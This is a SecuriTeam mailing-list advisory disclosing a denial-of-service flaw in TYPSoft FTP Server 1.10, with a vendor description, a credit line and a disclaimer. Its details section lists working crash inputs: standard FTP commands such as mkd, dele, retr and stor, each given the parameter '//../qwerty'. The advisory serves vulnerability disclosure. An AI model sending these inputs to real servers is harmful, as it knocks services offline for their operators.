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SUMMARY

 <http://www.typsoft.com/> TYPSoft FTP Server is "a fast and easy FTP
server with support to Standard FTP Command, Clean interface, Virtual File
System architecture, ability to resume Download and Upload, IP
Restriction, Login/Quit message, logs, Multi Language and many other
things". The product has been found to contain multiple vulnerabilities
that would allow a remote attacker to initiate a denial of service against
the product.

DETAILS

Vulnerable Systems:
 * TYPSoft FTP Server version 1.10

TYPSoft FTP Server may be DoS'ed with the standard FTP commands and using
the parameter "//../qwerty".

Examples:
mkd //../qwerty
xmkd //../qwerty
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dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty

ADDITIONAL INFORMATION

The information has been provided by <mailto:intuit@linuxmail.org> intuit
e.b..

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.
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